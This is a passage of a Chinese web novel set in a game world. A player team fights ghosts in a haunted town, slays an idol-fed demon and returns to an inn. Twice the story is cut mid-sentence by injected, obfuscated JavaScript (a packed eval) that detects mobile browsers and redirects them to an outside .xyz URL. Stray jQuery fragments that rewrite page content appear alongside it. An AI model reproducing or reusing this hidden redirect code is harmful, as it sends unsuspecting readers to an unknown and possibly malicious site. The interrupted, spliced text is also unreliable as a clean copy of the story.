这鬼魂吃完这只夜鸮,满嘴鲜血,也不逗留,径直向着棺材的方向飘去。之前放出的天蛛引起了一阵小骚动,但围在棺材周围的鬼魂却还在不断增加;再仔细一看,像茶馆老板这样从外表上看并没有明确伤口的鬼魂竟然不在少数,它们目露凶光,看起来就狠戾无比,似乎一定要把棺盖掀开。 她还陷在之前的恐怖画面里难以回神,却感觉身边人一动,尹有攸单手撩起桌布,竟然要从供桌底下出去。 “不行!你别去!”曲小蕨急了,死死地抓住尹有攸的手臂,又怕动静太大把鬼魂吸引过来,只能压低声音,“太危险了!而且……” 而且后面的话,她却说不出来了。 那些恶鬼掀开棺盖只是时间问题,师父带着付井仪,本来就行动不便,想要逃出这些恶鬼的包围根本就是难于登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691166|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天。 她还抓着尹有攸的手臂没放,而尹有攸似乎误解了她的意思,想了想,轻轻拍了拍她的脑袋:“别害怕。” 一阵轻微的窸窣声传来,曲小蕨感觉眼前一黑,是尹有攸将云幕遮解了下来,绑在了她的眼前。 “睡一觉,天就亮了。”他说。 云幕遮上还带着淡淡的温度,曲小蕨仰着脸,视野一片漆黑,只有隐约的光线晃动。不知为何,她突然想起了昨夜邪神歇斯底里的尖叫,心里顿时就空了一拍,怔怔地问:“你……你是不是听不见了?” 因为怕将那些鬼魂吸引过来,她的声音很小,几乎是细若蚊呐。尹有攸并没有答话,而是抽回手臂,已经从供桌下翻了出去,紧接着,那串刻意被加重的脚步声越来越远,迅速地消失了。 低沉的咆哮声响起,大概是徘徊了半夜的恶鬼终于看到了生人,纷纷放弃棺材,追了过去,这方世界重新安静下来,但这安静也不过片刻,厉鬼的指甲抓挠棺板的声音又响了起来。 曲小蕨脸上绑着云幕遮,呆坐在供桌下。 她还不到十六岁,就像付井仪说的那样甚至还没有完全的民事行为能力,在现实里,也是刚上高中的年纪。 她也许是很害怕的,但是不知道为什么,还是抬起手,将尹有攸给她系上的云幕遮摘了下来,绕了两圈在手腕上。带着这种温热的触感,曲小蕨从供桌下爬了出来,召出风蜈,随后抽出太上忘情,放到嘴边。 深吸一口气,她遥遥地注视着那似乎永远无穷无尽的恶鬼群,吹响了虫笛。 宛转悠扬的笛声像投进一潭死水之中的石子,在死寂的小镇上空泛起层层波澜。曲小蕨没敢停留,吹响虫笛之后就一步蹑云迅速向前跑去。 她下意识地想躲开前路那些徘徊的鬼魂,但又硬生生忍住了。拉到的仇恨越多,师父和付井仪那边就越安全,感受着身后阴冷的气息不断加深、迫近,曲小蕨一个急刹停住脚步,借化蝶的前冲跃了起来,跳过被掩埋一半的房屋废墟,甩开了紧随不舍的几只恶鬼,随后选了个有空隙的方向,冲了出去。 刀锋一样冰冷的夜风刮过脸颊,耳畔全是呼呼的风声。她一开始还在全力奔跑,但逐渐就放缓了脚步。 ——太多了、太多了,放眼望去,哪个方向都有数不清的鬼魂,而身后的那些恶鬼还在接近,她的动作甚至已经因为那种阴寒的感觉而慢慢僵硬起来。该往哪儿跑呢?曲小蕨一时间有些犹豫,就是这脚步一顿的工夫,她突然背后一紧,整个人突然腾空飞了起来。 这一下出乎意料,曲小蕨还以为被鬼魂袭击了,心里就是一凉。 都被打飞了!那我还能活吗? 但预想中的疼痛迟迟没来,后脖领倒是一紧,被人拎住,紧接着眼前的景象急速后退,最后停在一处半塌的房顶上。曲小蕨踉踉跄跄落地,回头一看,唐逐星刚把子母飞爪收进千机匣。 他看起来哪里都还好,只是脸色不好,冷声道:“知道这些鬼对声音敏感还吹笛子,不要命了?” “我这不是……向你学习嘛。”曲小蕨松了口气,回头看看身后远处,那些鬼魂忽然失去了目标,一时都还聚在原地摸不着头脑。 “厉害啊,一会儿不见就学会逞英雄了。”唐逐星敲了敲她的脑袋,“其他人呢?” 曲小蕨摇摇头:“我和尹有攸跑散了,不过师父和小付老师应该还在那里。” 唐逐星闻言,看了她手腕上绑着的云幕遮一眼,什么也没说,摸出香篆钟打开了盖子。 剩余的香太短了,已经看不出准确的刻度,估计再不过一刻钟,天就该亮了。 “我们赶紧回去看看吧。”曲小蕨拽拽他,“那些鬼完全没有固定行动路线的,四处乱转,万一再转回到师父那里就糟糕了。” 唐逐星颔首,要故技重施抓住曲小蕨的后脖领,曲小蕨赶紧一闪身躲开了:“让我自己来!你们鲸鱼跑得还不如我毒经快呢!” “……”唐逐星简直要被她气笑了,抬了抬下巴,示意出发。 和往外跑时夸张到恨不得让整个镇子都听到动静不同,这次他们往回走就跟做潜入任务一样,简直是将轻手轻脚发挥到了极致,生怕发出一点动静,被鬼魂们听到再朝乱葬岗聚拢过来,那就真是得不偿失了。 好不容易摸回到乱葬岗,曲小蕨远远地看了一眼,心脏突然停跳了一拍。 那口棺材已经被打开了,棺盖掉落在一边。 唐逐星看到她的表情便猜得差不多,快跑两步到了棺材边上,朝里一看,果然空空如也,棺材的底部还有些鲜红的东西。他伸手轻轻一摸,发现只是散落的一点朱砂,可能是从付井仪的琴上落下来的。除此之外,除了最顶层有些尖利指甲划过的痕迹,整个棺盖都还算完好,也看不出什么被暴力破坏的痕迹。 “你师父应该是主动离开的。”他碾了碾指尖,道,“一直待在一个地方迟早会被发现,趁你们把大部分鬼魂引走,离开这里,才是正确的选择。” 曲小蕨也扒着棺材看了一眼,确实和唐逐星所说的情况一样,才放下心来。 趁这边鬼魂还没来得及聚拢,唐逐星鸟翔起来挂在天上看了一会儿,心里大抵有数了。人手一份的地图都是他画的,跑了这么几天,无论是白天的红河渡还是晚上的荒魂镇,基本地形和街道他早就烂熟于心,便对曲小蕨道:“远处的鬼魂基本上都在往东北角方向前进,应该是在追尹有攸。有一小部分向西北角去了,数量不多,你师父可能在那个方向。” “那那那,那我们去帮谁?”曲小蕨捏着云幕遮慌慌张张地问,“尹有攸一个人引走那么多鬼很危险啊,而且他又听不到声音,但是师父还背着小付老师,他们也不轻松……” 唐逐星活动了一下手腕:“这就要看你的胆子大不大了。” “哈?”曲小蕨迷茫地眨了眨眼。 后脑勺忽然一麻,尹有攸就地翻滚,躲过身后恶鬼挥来的一爪。 他的脑袋现在还在隐隐作痛,耳边什么声音都听不到,只有模糊不清的风声。这对于听力敏感的人来说十分痛苦,好像突然进入了一个完全封闭的死寂世界,根本无法判断身后的鬼魂离自己还有多远,只能通过直觉来进行闪躲。 好在常年带着云幕遮,他的眼睛非常习惯黑暗,在夜间环境中反而更加适应。 尹有攸腾出手来灌了口酒,再次一个烟雨行和紧追不舍的恶鬼们拉开距离,抽空回头看了一眼,暗淡的光线照射下,他的双眼黑漆漆的,反射着一点冷白的月光,清晰地映出了身后成群的恶鬼和一闪而过的……? 他脚下一个踉跄,差点摔倒。 刚刚飞过去的那玩意是曲小蕨吧? 在他迷惑的注视中,追在他身后的那些恶鬼忽然就有一部分停下了追逐,反身朝另一个方向飘去。 尹有攸看到的还真就是曲小蕨。他听不见,但那些鬼魂却听得清清楚楚——曲小蕨卖力地吹着虫笛,感觉自己的肺活量得到了巨大的提升。 她看着越来越多的鬼魂聚集过来,突兀地停下了吹奏,站在高处的唐逐星便立刻掷出子母飞爪抓住她,随后拉盘子借用他熟知的地势卡住那些闻声而来的鬼魂的视角,两个人再蹑手蹑脚地溜到下一个位置,唐逐星下好盘子,曲小蕨再次吹笛。 要不是情况紧急实在笑不出来,光是想象这个画面,曲小蕨应该已经笑得在地上打滚了。 这个方法虽然朴素,但意外有效,甚至还有一种云霄飞车的刺激。最惊险的时候,曲小蕨甚至和恶鬼的利齿擦肩而过,还好唐逐星反应够快,及时拉了盘子带她离开原处。拿笛子的手都快被鬼魂身上散发出的阴森气息冻僵了,但有队友在,曲小蕨一点也不怕。她最害怕的时候是付井仪生死不明的时候,是尹有攸独自离开的时候,那都已经过去了。 不知不觉,几次循环往复之后,绝大多数的鬼魂都被聚集到他们这里。其他队友应该是安全了,唐逐星按下曲小蕨又要往颊边送的笛子,朝她做嘴型:“别贪,走。” 曲小蕨也朝他对口型:你说啥?别拿戴面具的那半张脸对着我,我看不见! 唐逐星无语,干脆又伸手把曲小蕨提溜起来,猫下腰顺着废墟的阴影慢慢前进。 他性格谨慎,还留了最后一个飞星应急,就是怕鬼魂聚集太多走不掉。眼看那些恶鬼都慢慢地聚拢过来了,唐逐星就要用出飞星遁影。 意外就在这个时候发生了——他们藏身的这栋老屋里,朽了一半的房梁终于不堪重负,轰然垮塌,顿时沙土飞扬、砖瓦崩散,最糟糕的是,刚好将拉盘子的视角卡住了。 唐逐星反应奇快无比,抓住曲小蕨躲过砸下来的横梁和瓦砾,趁着那阵烟尘还没散尽,往那垮塌留下的三角区里一滚,避开了闻声看过来的恶鬼们的视线。只是这样一来,用于脱身的飞星遁影就相当于被黑掉了,而他们也就被密密麻麻的鬼魂困在了这里。 情况瞬间急转直下,曲小蕨大气都不敢出,憋住呼吸,掏出香篆钟看了一眼。 还有多久到天亮? 剩余的时间太少了,香篆钟的刻度没有那么精准,早就看不出具体的数值。 “呼……” 恶鬼身周阴寒的气息似乎就在耳边拂过,她感觉身后的唐逐星端起了弩,手指在她的肩膀上划了几道,似乎是在写字。 “打起来、跑。” 曲小蕨很想告诉他,不要小看了毒经的攻击力!但是他们周围都是碎瓦砾,怕发出声响,她不太敢动,只能咬牙切齿地握紧了太上忘情:一个两个的都喜欢玩个人英雄主义是吧。 天怎么还不亮! 终于,她有些闭不住气了,小心地呼吸了一口,外面恶鬼们低沉的嘶吼就顿时围拢了过来。 唐逐星端起弩箭,右眼透过废墟的缝隙,紧紧地盯住逐渐靠近的恶鬼。 就在这个一触即发的关头,遥遥地,从镇子的另一端,忽然传来一声琴音。 这琴声只有一个短促的音节,却如同石破天惊,刚要靠近的恶鬼们顿时转了方向。然而,还不等它们有所动作,仿佛是在呼应那琴声,一线天光刺破夜色,投了下来。 天亮了。 19. 第三天·荒魂镇(十九) “为什么你还戴着云幕遮?!” 往红河渡寺庙赶去的途中,曲小蕨实在没忍住,质问尹有攸。 尹有攸不懂她愤怒的点在哪,看口型也没看明白,微张着嘴,露出有些茫然的神色,最后伸手提起她跑。 一整晚都在被提来提去的曲小蕨:麻了。 她那时候明明是抱着无比悲壮的心情把云幕遮缠在手腕上的,什么最坏的后果都考虑到了,最后以一往无前的决心和勇气冲出去的!她都想好了,要是能活着见面,就潇洒且不失帅气地微笑着,将云幕遮抛还给尹有攸,顺便说一句“自己的东西还是自己收好”…… 千算万算,就是没算到这家伙还有备用的。 她咬牙切齿,但又不是真的生气,相反,还有种如释重负的感觉。看尹有攸和唐逐星也是一样,毕竟付井仪已经醒了。 队伍有方向,人民有希望! “嗯?”唐逐星抱着弩跑在最后,一扭头,“蒋玉凤。” 第三天已经结束,传送回客栈的接引人蒋玉凤也出现了。她还是那样,微笑着站在一堆篝火前,目送着这群根本就没想回客栈的人跑远,丝毫没有好奇的表现。 开玩笑,这么久的折磨都熬过来了,谁会在这个时候选择离开? 听到琴声的狂喜逐渐褪去,他们奔跑在几乎空无一人的、寂静无声的红河渡街道上,看着满街满屋的白帷白灯笼,先前被刻意忽视的愤怒又涌上心头。 “有怨报怨,有仇报仇!”曲小蕨振臂高呼。 终点和庙宇距离不远,唐逐星一眼便看到行守从另一边过来了,但只有他一个人。 “付井仪呢?”尹有攸松开手把曲小蕨放下,问。 行守叹道:“还没醒,我怕等下打起来波及到他,把他安顿在那边的民居里了。” “什么?”曲小蕨一愣,满腔喜悦忽然消失无踪,“可是我昨晚还听到琴声……” “是我弹的。”行守道,“那时候我看到鬼魂都往一个方向聚集,感觉不妙,就借了他的琴一用。” “很及时,救了我们一命。”唐逐星拍了拍他的肩膀。 说话间,他们已经赶到庙宇前,但刚踏入这座庙的范围,就感觉有些异样。 这种异样更类似于一种直觉,好像被冰冷的恶意死死包裹住,让人感到有些窒息。再仔细看,被唐逐星扔在庙前的那座圣像竟然变大了一圈,包裹着它的红布都被撑破了。 唐逐星挑开红布看了一眼:“已经完全长成了。” 曲小蕨也凑上来,忍着心里的那股不舒服,伸手摸了一下。入手的触感跟女子的皮肤几乎没有两样了,“她”就像一个被缩小了几倍的真人一样,面带微笑,似乎在沉沉睡着,甚至能清楚地看到身体随呼吸的起伏。 “不对!” 行守忽然喝道。他性情一贯温和,很少用这么急促的语气说话,把众人都吓了一跳,就看见他疾走两步蹲下,拨开地上杂草,露出底下两道新鲜车辙来。 “有人进庙了?”曲小蕨也立刻反应过来,愕然道。 也就是在他们发现车辙的同时,从那庙中忽然传来撕心裂肺的惨叫! 那叫声凄惨可怖到了极点,几乎没法用语言来形容,已经尖利凄厉到不似人类的声音。饶是他们胆子都不小,听到这饱含着巨大痛苦的惨叫声顿时也如坠冰窟,一时竟然没有人动! 伴随着这惨叫声,紧闭的庙门忽然啪的一声洞开了,一副惨绝人寰的景象出现在众人眼前: 那巨大的阿里曼虚像已然凝成实体,半阖着眼睛,纤细而白皙的手指正抓着一个镇民举在半空。 她甚至没有锋利的獠牙,朱唇皓齿,如果不看那巨大的外形,就和普通人完全无异,但正是这样才显得这一幕格外恐怖,尤其是她的嘴里还露出半条人腿,裸露在外的断面血肉模糊、白骨突出。 她也察觉到几人的存在,朝他们微微一笑,舌头翻动,合拢嘴唇,咀嚼起来。随着她的动作,那撕心裂肺的凄厉叫声也戛然而止,而被她抓在手中的另一个镇民已经活活吓晕了过去。 肉眼可见的,她的喉咙一动,完成吞咽后,脸色明显变得红润起来,眼睛又睁开了一些。那双眸子炯炯有神,被她看一眼,心里就会生起无边的烦躁。 曲小蕨还抱着那尊圣像,她感觉手上的圣像同时也重了几分,低头一看,那圣像也是半睁着眼,朝她微笑,嘴唇轻轻翕动,一个柔和的女声顿时出现在脑海之中:“过来……” 那声音亲近而柔怯,不断呼唤着她,曲小蕨愣了一下,忽然就听到师父的声音在耳边如炸雷般响起:“十方世界,妙见圆澄,心无尘象,胜解清净!” 她如梦方醒,这时才发现自己不知不觉间已经往那阿里曼邪影的方向走去了,要不是被尹有攸死死按住,现在恐怕已经冲到那邪影的面前;再看手上的圣像,哪还有什么秀美面容,分明是一副恶狠狠的阴毒表情。 “别看她眼睛!”师父提醒道。 阿里曼邪影好事被坏,笑容都变冷了几分,举起手上那个吓晕的镇民就要放进嘴里。 “你敢!”唐逐星断喝道,手上螭首天机早已对准那条手臂蓄力多时,此时恰逢机会,弩箭离弦,如流光般势不可挡地疾射而出! 箭矢星如雨,百里追孤魂! 百里追魂威不可测,径直穿透了那邪影,巨大的冲击力甚至撕裂了她的身体,箭镞带着半条手臂直直地钉在了庙墙之上,那镇民从半空中落下,被曲小蕨抢先一步用天蛛拉到身后。 到嘴的食粮被人夺去,邪影怒不可遏,连笑容都维持不住了,挥动完好的手臂就朝唐逐星抓去。这一抓却是抓了个空,唐逐星的身形原地消失,而尹有攸却从他身后跃出,当头一记亢龙有悔重重拍了下去! 这一掌来势凶猛、力道刚劲,邪影吃痛地收回了手,紧接着就是被行守一杵击中断臂。她接连受挫,虚伪的笑容终于挂不住了,半睁半闭的双眸中眼色一厉。 曲小蕨忽然觉得手上一沉,她低头一看,赫然发现那圣像的半条手臂竟然又在逐渐变回石头,露出青黑的颜色和龟裂的血管。与之相应的,是邪影刚刚被连根射断的手臂竟然又凭空长出血肉、迅速恢复。 “这个东西在给‘她’提供能量!”她惊叫道,眼睁睁地看着邪影恢复得完好如初。 行守喊道:“直接带它回客栈!离开了荒魂镇这张图,它们的联系就会被切断了!” 曲小蕨愣了一下,第一反应是拒绝,然而当她低头看到圣像的手臂也在逐渐恢复时,还是咬了咬牙,朝营地跑去。 那邪影哪里知道什么是客栈,看到曲小蕨带着圣像跑了也不在乎,只是咬牙切齿、专心致志地对付面前这几个棘手的人类。但自从进入荒魂镇以来,看到这镇上百姓种种惨状,三人也是积攒了许久的怒火,此刻终于能够发泄出来,一时配合无间,打得那邪影不断身崩肉碎、嘶叫连连。 不过片刻,唐逐星敏锐地发现邪影的伤口不再恢复了,知道是曲小蕨已经带着那圣像回了客栈,终于松了口气。 “好!来清算!”行守也喝道。 此时邪影也发现自己与圣像之间的供养联系业已被切断,脸上出现了又怒又慌的神色,竟然不再防御,而是不顾一切地抓向被尹有攸挡在身后的那个镇民。这哪能让她得逞?行守一记横扫六合挡开那只手,但三人的心中都不约而同地浮现出一个疑问。 为什么阿里曼邪影对这个镇民如此执着? 回想起进庙时看到的那一幕,尤其是她吞食镇民后眼睛微微张开的景象,众人心中已经有了答案。 恐怕只要再吞吃这一个镇民,她就会完全苏醒,睁开眼睛! 想通了这一点,三人哪还会让邪影靠近镇民半分?行守将燃木挥舞得密不透风,唐逐星以暴雨般的弩箭封住来路,霜月明横挑竖劈,将邪影的每一次进攻尽数击退。那邪影眼看再无机会,咆哮一声,竟然硬生生睁开双眼,目光如电,看向他们! “会致幻,别对视!”行守叫道,微微低下头,以笠帽白帷遮住视线,喊完才想起来他这俩队友一个戴着云幕遮,一个戴着半边面具,倒是都不需要操心。 这么想着,他侧脸往旁边一看,却是结结实实地吃了一惊。 那镇民却不知何时竟然醒了过来,此刻目光无神,爬起来便冲向憔悴了许多、几乎快要如灯烛燃尽般消散的邪影。 唐逐星急道:“拦住他!” 他反手就甩出子母飞爪,但那镇民分明只是个普通人,却仿佛背后长眼一般躲开了钩爪,尹有攸要追上去,邪影却一掌拍下来,逼得他不得不烟雨行躲开攻击,也就是耽搁了这一秒,那已经快要消散的邪影已经迫不及待地将镇民塞进了嘴里! 这一幕,行守看得清清楚楚,他也很清楚,自己手里没有捉影式这个技能。到目前为止,他已经没有什么办法可以阻止邪影完全苏醒了。 但是真的没有吗? 红河渡老老少少的镇民、挣扎痛苦的鬼魂、小蕨的结论和付井仪的话接连闪过脑海,最后终结于全身骨头尽折的痛楚,行守甚至连叫都叫不出声,在剧痛中看着子母飞爪再度抛出,将完好无伤的镇民从放松警惕的邪影嘴里抢了出来,而唯一能奶的尹有攸刚刚交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691167|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了烟雨行,此时正在邪影身后,和他拉开了远超过十尺的距离。 越是这种时候,他看得反而越清楚,邪影的愣怔与狂怒、队友脸上的惊怒和焦急都无比清晰,但那只是短短一刹那,瞬间他的视野就暗了下去。 太冲动了,舍之前应该看一眼队友的位置…… 意识也即将消失的前一刻,他隐约听到了熟悉的声音。 泠泠作响,铮铮而鸣。 尹有攸终于扑到行守身边,二话不说,直接交了笑醉。他们的脚下是一个泛着淡淡清光的音域,行守身后,付井仪持琴而立,脸色还很苍白,但站姿依然笔直如松。 一顾碧海结青云,但将生死长随君! “你真行啊,也不看看尹有攸在哪就敢直接给舍身!”唐逐星破口大骂,一把将行守从地上薅起来,“别躺了!起来输出!” “意外,真是意外。”行守死里逃生,出了一身冷汗,撑着燃木站好,自己也有点心虚,“小付老师没事了?” “没大碍。”付井仪道,抬眼看向那邪影。强行睁开双眼对她来说似乎很伤,动作也慢了下去,笑容渐渐消失,最后竟然垂着头委顿在地,连身形都缩成了正常人的大小。 “不过如此。”唐逐星冷笑了一声,“要不是红衣教那些鬼蜮伎俩,哪轮得到它兴风作浪。” “摸掉落回去吧。”尹有攸说,刚刚行守那一出把他吓得不轻。 “稍等,我补个刀。”行守道。 他持燃木走过去,刚要击下,却见本以为已经翻不起风浪的阿里曼邪影忽然猛地抬头,双眼大睁,流下两道触目惊心的血泪,直直地看向了他。 行守一愣,便发现自己正身处一片火海。这火却并不灼人,甚至冰冰凉凉,耳畔有个女声,正在悠悠地说话。 天曷有极,民如草芥。其生如刍狗,其亡如蜉蝣;地曷有际,人如粃糠,其浮而为尘,其落而为土。是百代更迭,一切寂灭,以彼有穷之生而哺我之无穷,又何苦焉? 况佛法无众生相,先不渡吉,后不渡厄。诸喜、怒、哀、乐、困、惑、痛、苦、贪、婪、欲,皆归于无,皆归于死。有其存而有其亡,知其生而知其死,既皆衰亡,我今取之,诸法不违,为何阻我? 人于此间,熙熙如蚁,攘攘不绝,可救一时,不可救一世,往者不可谏,来者不可追。慷慨愤然,逞斗战之能,徒增劳力尔。而其因已定,其果匪改,可笑可哀,何能称悟、何敢称佛? 那女声不紧不慢,声音柔美而温和,娓娓道来、滔滔不绝,仿佛带有某种特殊的魔力,每句话都直直地映入脑海。 行守沉吟良久,轻叹一口气:“歪门邪道,胡搅蛮缠。你说了这么多,我只有六个字送给你。” 那女声缓缓地停住,等他说话。 行守手握金刚杵,突然朝那熊熊火焰当头劈下:“这一式叫普渡四方——” 燃木周身金光闪闪,划破火焰组成的幻境,回到现实,将阿里曼邪影直直地劈散!在那惨叫的女声中,行守收杖而立,单手竖在胸前,口诵佛号:“我佛不渡傻X。” 随着这一招的落下,阿里曼邪影确确实实地消散了,金灿灿的掉落在原地浮现出来。 “补个刀还磨磨唧唧的发呆。”唐逐星吐槽道,撞开他走上前去摸掉落,尹有攸也走过来,虽然戴着云幕遮,但行守还是从他脸上看出了类似同情的神色:这就是乱给舍身的后果。 “多摸一下,看看能不能给曲小蕨捎回去。”付井仪道。 行守苦笑着将手探进金色的光圈,果然摸到两个技能,一个是他自己的罗汉金身,另一个则自动进了小队背包。 直到摸完掉落,他才有了第三天结束的实感。看看其他人,也都是这样,一时间有些无所适从的茫然。 将他们从这种状态中惊醒的,是那个被救下来的镇民。他在被阿里曼第二次抓住的时候便又吓晕了过去,睁开眼,便正好看见邪影被击散的一幕,愣了半天,终于从喉咙中发出一声细细的支吾,扑通一声跪了下来,不住地望着他们,随后便是嚎啕大哭。 那是世界上最悲恸的哭声,但哭声中又有着感激和庆幸,百味交杂,难以描述。 “我们还有些事情要做……”在这哀伤的哭声之中,付井仪轻声道。 洛水为界,江阴李渡,原为同乡,称红河之渡。景龙年间,有阴邪为祸、时人多病殁、无计可除,谓红衣案。后得大破红衣,扶助微弱,有云游僧设坛,抚生者之悲,指已矣之净土。终而携像,与之俱去,复无影踪。诸人问其名而不答,皆谓侠。 《第三天·荒魂镇》 完 20. 第三天·奖励关卡(二十) “谜语人离开浪客行队,我看看。” 客栈柜台之后,赵云睿轻轻摇着扇子,对照着付井仪刚刚签下的名字,温柔地将五个人打量了一遍,露出一个微笑来。 “付井仪,唐逐星,曲小蕨,行守,尹有攸。嗯,你们队也是五个人都回来了。” 这还是赵云睿头一次按照他们的点卯表点名,她还在“人”这个字上微微咬了重音,听起来有种奇怪的感觉。 曲小蕨抱着圣像,本来还在听唐逐星添油加醋地讲师父舍身差点舍死自己的故事,听到这句话,忽然不由自主地打了个寒颤。她看向赵云睿,发现赵云睿也噙着微笑在看她,柔声道:“小客人,将你们从荒魂镇带回来的东西交给我吧。” 曲小蕨一愣,转头看了一眼付井仪,付井仪朝她微微点了点头,她便把圣像放到了柜台上。 这尊阿里曼圣像在被她带回客栈后不久,忽然整个就变了模样,从栩栩如生的闭目微笑女子形象变成了一尊面目狰狞、身绕蜥蜴的普通石雕,头顶还裂开了一条巨大的缝。 赵云睿不紧不慢地掀开红布,看到石雕,脸上也没有半分惊讶的表情,又将红布盖好,将石雕收到了柜台之下,转而对曲小蕨微笑道:“伸手。” “啊?”曲小蕨有些茫然,犹犹豫豫地将手放在了柜台上。 赵云睿拿起旁边的鸡距笔,也不见她蘸墨,便在曲小蕨的手腕上轻轻地写下了四个古怪的文字。那字被写下后,竟然化为点点金光,在半空飞散开来,没进了每个人的身体,众人顿时感觉身体一暖。 “好了。”她微笑道,笑容里罕见地出现了些许疲色,“你们是最后一支回来的队伍,现在便去大堂吧,孟秋还有些话要对诸位侠士说。” 顿了顿,赵云睿又补充道:“夜里风大雾大,侠士们一路奔波,还是好好休息,不要出客栈了。” 说这话的时候,她柔和的目光在行守和付井仪的身上扫过,仿佛意有所指。 曲小蕨倒是没注意这个,她一头雾水地跟在队友屁股后面回到大堂,选了张桌子坐下,屁股还没坐热就问付井仪:“小付老师!她刚刚在我手上写的是什么啊?” 付井仪听到她这么问,竟是难得地笑了笑,轻声道:“‘不见红衣’。” “什么?”众人齐齐吃了一惊,行守更是惊讶道:“竟然是这个!” “竟然是这个!”曲小蕨也说,脸上露出清澈的愚蠢,“呃……所以是什么啊?” “……”行守再看看尹有攸和唐逐星,确认这群几乎不打浪客行的PVP只是跟风惊讶,无奈地叹了口气,解释道,“是浪客行中的一个增益buff,不见红衣,可以增加对红衣教势力的伤害。” “!!”这会儿曲小蕨真是实打实的惊讶了,没想到那尊圣像还能换到这么厉害的奖励,但是这个名字却又勾起了她对第三天的回忆,一想到那些枉死的镇民,她的心情忽然又低落下来。 “过去的事就不要再想了。”付井仪说,指尖轻轻叩了叩桌面,让她回神,“刚刚赵云睿在点卯时的态度倒是很值得推敲。” 唐逐星也点头道:“的确,她头一次念了每个人的名字,又特别强调,我们五个‘人’都回来了。” “什么意思?”转移注意力这一招永远有效,曲小蕨环顾大堂,顿时感觉看谁都问题很大,紧张兮兮地压低了声音,“难道说,玩家之中……混进了鬼?” 坐在他们旁边的是老熟人了,永远记不住名字但反正队名里有个蓬莱的那一队。五个人的精神状态看起来还不错,但是表情都有些呆滞,似乎还没回过神来,只有亓秀秀勉强地对她笑了笑。 再远点,是霸刀刀宗无方苍云和剑纯的那支队伍,这队人破天荒地没再戴着那个黄鸡大笑的头套了,而且面色古怪,明明面前什么都没有,却还不时露出反胃的表情,虽然很可疑,但看起来倒也是活生生的人。 再再远点、几乎快要到了看不清的地方,坐着的是长歌明教气纯衍天凌雪的队伍,这支队伍曲小蕨完全不熟悉,但看他们只是坐着,面无表情,也似乎不怎么交流的样子,可疑,非常可疑。 她还想再分析一下,就被行守敲了头,师父的声音哭笑不得:“别乱想,怎么可能是有鬼。你还记得付井仪在荒魂镇说了什么吗?” “什么?”曲小蕨捂住脑袋,“咱们付老师的台词整理整理都能出本书了,我哪知道你问的是哪句呀。” 但她也没疑惑太久,因为孟秋嘻嘻笑着站到了大堂中间,用力拍了两下手,把众人的目光都吸引过来了。 “恭喜侠士们成功度过第三天!”这个小姑娘笑得天真烂漫,但嘴里说出的话却令人不寒而栗,“相信大家一定已经发现了,第三天似乎和前两天都格外不同呢。老板娘的话大家都听仔细了吗?被点到名的侠士,恭喜你们通过了考验,守住了自己的身份……” 她这么一说,曲小蕨就想起来了,付井仪的确说过,玩家和角色正在同化。 这样的话,很可能所有的队伍在第三天都会面临一道选择题,选对了,就是通过考验,如果选错的话……难道会彻底和角色同化?那样的话,又会发生什么变化呢? 这么想着,曲小蕨心里就是一阵后怕,尤其是想到自己那会儿就跟着了魔一样一定要往河里下毒毒死镇民,但她现在再回想这个念头,只觉得陌生到恐怖。 “客栈的规矩我就不多说啦,这次的休息时间是三天喔,大家好好休息,吃好喝好,咱们的金大厨又研发了新的肉菜,也可以去尝一下——” 她不说还好,这么一说,不远处坐着的那刀宗突然发出一声巨大的干呕,连带着旁边的剑纯也跟着泛起了恶心。孟秋吓了一跳,转头看过去,便看到霸刀一脸抱歉微笑,想说什么,一张嘴也是:“哕——” 他们队看起来还比较靠谱的无方和苍云还好一点,捂住嘴,但表情也很难看,好像吃了死苍蝇。孟秋大怒:“饿了么!你们什么意思!砸场子嘛!” 那队人连话都回答不出来,只能痛苦地摆摆手,表示没那个意思。刀宗身上的鹦鹉蹬着腿,半死不活地嚷嚷着:“后遗症!后遗症!” “……这一队好像都是纯玩家。” 他们旁边一桌,陆厌托着腮点评道,说话间两颗尖尖的虎牙若隐若现。 “我们能观察到的这几队,应该都没有问题。”那长歌姑娘坐得很端正,淡淡地说,“反应正常,交流正常,恐怕在他们眼里,我们才是最不正常的。” “师襄,你说,没通过考验的玩家会变成什么样子?”卫山河问她。 师襄摇了摇头:“不清楚,也许以后会接触到吧。” 他们静静地看着孟秋一脸不开心地叉着腰走了,玩家们陆陆续续地从桌边起身,有去吃饭的,也有直接回房间的。几支队伍都或多或少地瞥了他们这一桌几眼,显然觉得他们坐在这里一动不动非常奇怪。 “其实我刚刚想到一个问题。”师襄忽然说,“你们说,浪客行的本质是什么?” “游戏。”卫山河道。 “收入来源……”陆厌则说。 师襄无视他俩,又看向衍天:“祝灵正,你觉得呢?” 那叫祝灵正的衍天想了想,说:“浪客行……是一本书。” 孟秋哼着歌,把从叶九溪那里要来的饴糖塞进嘴里,蹦蹦跳跳地穿过客栈大堂。 玩家们已经散得差不多了,这个时间点,大多数人都已经去后厨的金大厨那边吃饭了。她正要往柜台走,却忽然发现角落里还有一桌人。 这个队伍她也有点眼熟,但是完全不了解。印象中,这支队伍行动的时候总是慢其他队半拍,也不怎么和别人交流,搞得她把老板娘的点卯单子看了三遍,确定他们真的是玩家没错。 她有点好奇,便朝那一队走过去,刚走近两步,就发现那五个人齐刷刷地转过头看着她。 